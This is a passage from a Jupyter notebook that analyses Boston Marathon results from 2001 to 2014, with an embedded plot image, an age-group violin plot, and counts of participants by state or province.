SIEZKk0aNHa926\n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\n1NQU/Xqs8e2s31QZX+lwv3PnztVFF13U6fhed9112rhxo3bt2qX58+drxowZ2rZtmxYtWqS8vLyk\nH9+VK1fqjTfeUGlpqbZs2aJZs2appqYm+vtHj+/x+k328Y3V6+jRo7t878Z6f6fCe3fQoEG67LLL\nosfBYFBVVVXR3+/svdux329961vavHlz0o+tFLvfUaNGdfneDQaDKikpkSSVlJRow4YNKTG+BQUF\nKioqUkZGhgYPHqwePXoccTHb2Xs3Vr+pML5H95udna3i4uK4rq1efPFFXXrppdF7nFJhfPfv368d\nO3Zo5MiRkhT3ddXRvabC2ErH9nu866r2v8u33367li1bphdeeEGXXXaZFi9enBL/7v7mN7/R8OHD\n9dJLL+l//ud/dMcdd6ilpSX6+529d2P169n4JnRxaBL65JNPzNVXX22MMebqq682H3zwgTHGmP/6\nr/8yS5YsOeb1f/jDH8w111xjamtro19rvyevsbHR7N+/34wdOzbp1hZXVlaasWPHmjfffDP6tSlT\nppi3337bGGPM3LlzzfPPP3/M98Xqd9u2beayyy4zra2tpqmpyUyYMMFs27bN/SZOQKx+4xnfKVOm\nmB07dhhjjPnTn/5k7rzzzpQY32effdY8/PDDxhhj6uvrTUlJibnhhhu6HN9Y/abC+Mbqd/z48V2O\nb7tPP/00+r5vvzcgmce3o0mTJkXvyetqfNt17DcVxrdde6/xvHdjvSYV3ru///3vzfz5840xxnz2\n2Wdm7Nix5l/+5V+6HNtY/abC2Mbq98orr+xyfH/0ox+ZP/zhD8YYY5544glz7733psT4vv766+b6\n6683xrT1O2bMGDN16tQuxzdWv6kwvrH6veqqq+L62Tx9+nSzadOm6H+nwvi+8sor5p577on+d7w/\nl4/uNRXG1phj+43nZ/Mll1xi9uzZY4wx5uWXXzYzZsxIibH92c9+Zh555BFjTNv9pZdccklc11Wx\n+vVqfB1jOsw9+tCnn36qmTNnavny5dqyZYsWLFigjIwMnXLKKbr77ruVm5sbfW1ra6suvPBC9e/f\nP7ojzje/+U1Nnz5d//3f/60VK1YoEolo2rRpGjNmjFctxbRw4UK9+OKLGjx4cPRrs2fPVllZmZqb\nmzVkyBAtXLjwiF2Cjtfv7373Oz3//PPKyMjQFVdcoauvvjrhPR1PrH5nzpypxYsXdzq+Utt9EPfe\ne68yMzMVCAS0cOFC9enTJ+nH9+DBg5o1a5b27dunlpYW3XTTTTr99NM1d+7cTsdX6rzfZB/fWP32\n79//uO/fjjq+7yUl/fh2VFpaqrvvvluO43Q5vu2O7jfZx7dde6+NjY1djm1nP7+TfWxbWlp05513\navfu3ZKk22+/XcFgsMux7azfZB/bWP1mZ2d3Ob67d+/WnDlzdODAAfXq1Uv333+/8vLykn58JWnJ\nkiV6++23FYlENGPGDH3lK1/pcnw76zfZx1c6tt/CwsK4fjaPGzdOy5cvP2LHwWQf39/+9rfKzMzU\nddddJ0nasWNHXD+XY/WaCmN7dL9dXTdL0htvvKH/+I//UI8ePZSVlaV77rlH/fv3T/qx3b9/v+68\n807V1NSopaVFkydP1je+8Y0ux7ezfr0YX9+HPAAAAACwCffkAQAAAIBFCHkAAAAAYBFCHgAAAABY\nhJAHAAAAABYh5AEAAACARQh5AAAAAGARQh4AAAAAWISQBwAAAAAWyfC6AAAAkk1LS4vmz5+vbdu2\nad++fRo8eLAeeughrVixQk899ZTy8vJ0+umn67TTTtP06dO1Zs0aPfjgg2ppadGAAQN0zz33KBgM\net0GAMCnmMkDAOAo77//vnr06KHly5dr1apVOnjwoB577DEtW7ZMK1eu1LJly7Rz505JUnV1tX72\ns5/p8ccf17PPPquLLrpI9913n8cdAAD8jJk8AACOct555ykYDOqpp57S3/72N+3cuVPf/OY3dckl\nlyg3N1eS9P3vf1/79+/XX//6V+3Zs0elpaWSpNbWVmbxAACeIuQBAHCUV199VQ8++KAmT56sq666\nSrW1terVq5fq6+ujrzHGSGoLdcOHD9evf/1rSVJjY6NCoZAndQMAILFcEwCAY7z55pv67ne/qyuu\nuEKFhYV69913JUnl5eVqaGhQU1OTXn75ZTmOo7PPPlvvv/++duzYIUn61a9+pSVLlnhYPQDA7xzT\n/lEkAACQJH300UeaMWOGsrKy1LdvX/Xr10/5+fnq27evfv/73ysQCKigoEAjR47UjTfeqNdff10/\n//nP1draqn79+mnJkiXKz8/3ug0AgE8R8gAAiMOOHTu0evVq/fCHP5Qk3Xzzzbr66qt18cUXe1oX\nAABH4548AADi0L9/f3344Ye69NJLJUmjRo0i4AEAkhIzeQAAAABgETZeAQAAAACLEPIAAAAAwCKE\nPAAAAACwCCEPAAAAACxCyAMAAAAAixDyAAAAAMAi/x8WSO/ZlfXjFAAAAABJRU5ErkJggg==\n", "text": [ "<matplotlib.figure.Figure at 0x11dcc3c10>" ] } ], "prompt_number": 154 }, { "cell_type": "heading", "level": 3, "metadata": {}, "source": [ "# wow that is a hideous, useless plot. Looks like women finish a predictable amount worse than men every year?\n", "# I wonder how, across all years, age groups do. (That one might benefit from a gender split, more than the above)\n", "# Also TODO: a map of the states & countries of Boston Marathon participants\n", "\n", "alltimes\n", "agegroups = range(15,90,5)\n", "agebins = pd.cut(alltimes['age'], agegroups,\n", " labels=['{}-{}'.format(age,age+5) for age in agegroups][:-1])\n", "\n", "f, ax1 = plt.subplots(1)\n", "ax1.set_title(\"Boston Marathon times 2001-2014 by age group\")\n", "seaborn.violinplot(pd.Series(alltimes.loc[:, \"official\"], name=\"time in minutes\"), groupby=[alltimes.gender, agebins], ax=ax1)\n", "g = alltimes.groupby([agebins, alltimes.gender])\n", "g.head()" ] }, { "cell_type": "code", "collapsed": false, "input": [ "years = []\n", "for year in range(2001, 2015):\n", " y = pd.read_csv(\"results/{}/results.csv\".format(year), na_values=\"-\")[[\"state\"]]\n", " years.append(y)\n", "states = pd.concat(years, ignore_index=True).dropna()\n", "g = states.groupby(\"state\") #.aggregate(len)\n", "h = g.count()\n" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 167 }, { "cell_type": "code", "collapsed": false, "input": [ "import json\n", "json.dumps(h.to_dict()['state'])" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 170, "text": [ "'{\"WA\": 4882, \"BC\": 2914, \"VA\": 6611, \"DE\": 739, \"DC\": 1595, \"WI\": 4591, \"WV\": 474, \"HI\": 543, \"CO\": 5111, \"FL\": 6676, \"FM\": 2, \"WY\": 249, \"NH\": 4469, \"SK\": 350, \"NJ\": 5860, \"PQ\": 1344, \"NL\": 96, \"NM\": 720, \"TX\": 9662, \"LA\": 734, \"NB\": 679, \"NC\": 4737, \"ND\": 296, \"NE\": 837, \"NF\": 113, \"YT\": 23, \"TN\": 2407, \"NY\": 15299, \"PA\": 9399, \"PE\": 194, \"NS\": 1102, \"NT\": 13, \"CA\": 19467, \"NV\": 850, \"AA\": 12, \"PR\": 374, \"GU\": 7, \"AB\": 2338, \"AE\": 75, \"PW\": 1, \"ON\": 11940, \"VI\": 27, \"AK\": 554, \"OH\": 8111, \"AL\": 1028, \"AP\": 19, \"AS\": 1, \"AR\": 567, \"VT\": 1443, \"IL\": 10158, \"GA\": 3682, \"IN\": 3009, \"IA\": 1693, \"OK\": 898, \"AZ\": 2686, \"ID\": 873, \"CT\": 5082, \"ME\": 2222, \"MD\": 4941, \"MA\": 58667, \"MB\": 437, \"UT\": 3240, \"MO\": 2298, \"MN\": 5102, \"MI\": 7184, \"RI\": 1968, \"KS\": 1491, \"MT\": 563, \"QC\": 1527, \"MS\": 395, \"SC\": 1532, \"KY\": 1399, \"OR\": 3160, \"SD\": 269}'" ] } ], "prompt_number": 170 }, { "cell_type": "code", "collapsed": false, "input": [ "dict(sorted(h.to_dict().iteritems()))" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 172, "text": [ "{'state': {'AA': 12,\n", " 'AB': 2338,\n", " 'AE': 75,\n", " 'AK': 554,\n", " 'AL': 1028,\n", " 'AP': 19,\n", " 'AR': 567,\n", " 'AS': 1,\n", " 'AZ': 2686,\n", " 'BC': 2914,\n", " 'CA': 19467,\n", " 'CO': 5111,\n", " 'CT': 5082,\n", " 'DC': 1595,\n", " 'DE': 739,\n", " 'FL': 6676,\n", " 'FM': 2,\n", " 'GA': 3682,\n", " 'GU': 7,\n", " 'HI': 543,\n", " 'IA': 1693,\n", " 'ID': 873,\n", " 'IL': 10158,\n", " 'IN': 3009,\n", " 'KS': 1491,\n", " 'KY': 1399,\n", " 'LA': 734,\n", " 'MA': 58667,\n", " 'MB': 437,\n", " 'MD': 4941,\n", " 'ME': 2222,\n", " 'MI': 7184,\n", " 'MN': 5102,\n", " 'MO': 2298,\n", " 'MS': 395,\n", " 'MT': 563,\n", " 'NB': 679,\n", " 'NC': 4737,\n", " 'ND': 296,\n", " 'NE': 837,\n", " 'NF': 113,\n", " 'NH': 4469,\n", " 'NJ': 5860,\n", " 'NL': 96,\n", " 'NM': 720,\n", " 'NS': 